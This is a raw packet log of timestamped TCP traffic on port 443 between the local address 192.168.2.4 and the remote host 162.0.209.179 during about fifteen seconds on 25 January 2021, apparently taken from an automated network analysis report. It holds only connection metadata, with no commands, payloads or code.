Jan 25, 2021 21:14:39.736582041 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.736584902 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.736624002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.736634970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.736684084 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.736709118 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.736728907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.736757994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.736999035 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.738327980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.740509033 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.857882023 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.063008070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.068129063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.068525076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.072753906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.317626953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391194105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391253948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391294003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391328096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391364098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391397953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.391463995 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.392988920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.393047094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.503956079 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.709552050 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.713331938 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:40.713504076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.718008041 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:40.961930037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041249990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041282892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041305065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041330099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041352987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041377068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.041439056 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.042742014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.044507027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.154145002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.358851910 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.367275000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.367410898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.368683100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.612838030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682573080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682606936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682629108 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682646990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682663918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682679892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.682749033 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.684391022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:41.685646057 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.795362949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:41.999933958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.005136013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.005203009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.007651091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.253053904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320442915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320506096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320543051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320543051 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.320576906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.320581913 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320616007 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.320621967 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320664883 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.320682049 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.320730925 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.322243929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.322329998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.757932901 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.962573051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.967916965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:42.968453884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:42.973408937 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.220812082 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292521954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292576075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292604923 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292644024 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292680979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292697906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.292730093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.292732954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.292742014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.292793036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.293977976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.294089079 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.503426075 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.710520029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.715473890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:43.715915918 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:43.932197094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.176080942 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260026932 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260063887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260083914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260101080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260128975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260128021 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.260155916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.260226965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.260266066 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.261578083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.261755943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.373441935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.577862978 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.582779884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.582942009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.587256908 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.832571030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915663958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915721893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915760994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915798903 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915831089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.915838003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915858984 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.915879965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.915893078 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.915954113 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:44.916764975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:44.916946888 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.030436039 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.234814882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.239881039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.240382910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.247529984 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.491985083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.581707001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.581743956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.581768990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.581792116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.581813097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.582017899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.582096100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.582712889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.583129883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.686444998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.890997887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.895981073 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:45.896692038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:45.897536993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.148627996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230396032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230446100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230479956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230485916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.230504990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230510950 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.230537891 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.230537891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230568886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.230572939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.230601072 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.230621099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.231973886 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.235099077 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.342097044 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.547023058 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.551470995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.551943064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.552768946 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.796997070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879111052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879137993 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879154921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879172087 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879188061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879205942 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.879245996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.879300117 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.881131887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:46.882599115 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:46.998609066 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.203244925 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.208190918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.211123943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.212162971 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.468465090 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.538228035 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.538259983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.541150093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.541261911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.541290045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.541307926 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.541323900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.541337013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.541364908 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.541439056 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.660419941 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.865252972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.870429993 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:47.871171951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:47.872966051 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.118805885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199067116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199158907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199229956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199301958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199363947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199424982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.199460030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.199500084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.202627897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.202718973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.311497927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.516279936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.521843910 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.522147894 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.524466038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.768985987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854250908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854315996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854346037 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.854363918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854368925 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.854413986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854448080 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.854450941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854477882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.854491949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.854537964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.854563951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.856038094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:48.857368946 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:48.968246937 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.172703028 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.179044008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.180291891 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.186117887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.430840015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.494877100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.494901896 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.494920015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.494937897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.494955063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.494971037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.495028973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.496468067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.496517897 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.612538099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.817001104 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.824989080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:49.825136900 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:49.826242924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.070883036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162034988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162098885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162138939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162177086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162214041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162229061 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.162252903 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.162256956 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.162269115 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.163017035 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.163966894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.164777040 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.280167103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.484767914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.488589048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.489023924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.489773989 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.734081984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831257105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831319094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831357956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831388950 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.831398010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831422091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.831437111 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831466913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.831476927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.831485987 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.831768036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.832820892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:50.833758116 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:50.937009096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:51.141736984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:51.146773100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:51.147229910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:51.148542881 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:51.392672062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:52.698220015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:52.698460102 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:52.904658079 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:52.904696941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:52.904762983 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.109597921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.109644890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.109675884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.109844923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.314249992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.314428091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.422043085 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.626622915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.631757021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.632596016 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.633369923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.877815962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.953705072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.953769922 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.953808069 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.953845978 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.954854965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:53.957833052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:53.958292961 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.159558058 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.159607887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.159687042 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.159732103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.267986059 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.472418070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.477499962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.478873014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.484002113 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.729897022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819400072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819427013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819443941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819462061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819470882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.819478035 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819494963 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.819513083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.819530964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.819551945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.821566105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:54.822755098 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:54.937048912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:55.141406059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.146526098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.147703886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:55.150891066 CET	49745	443	192.168.2.4	162.0.209.179
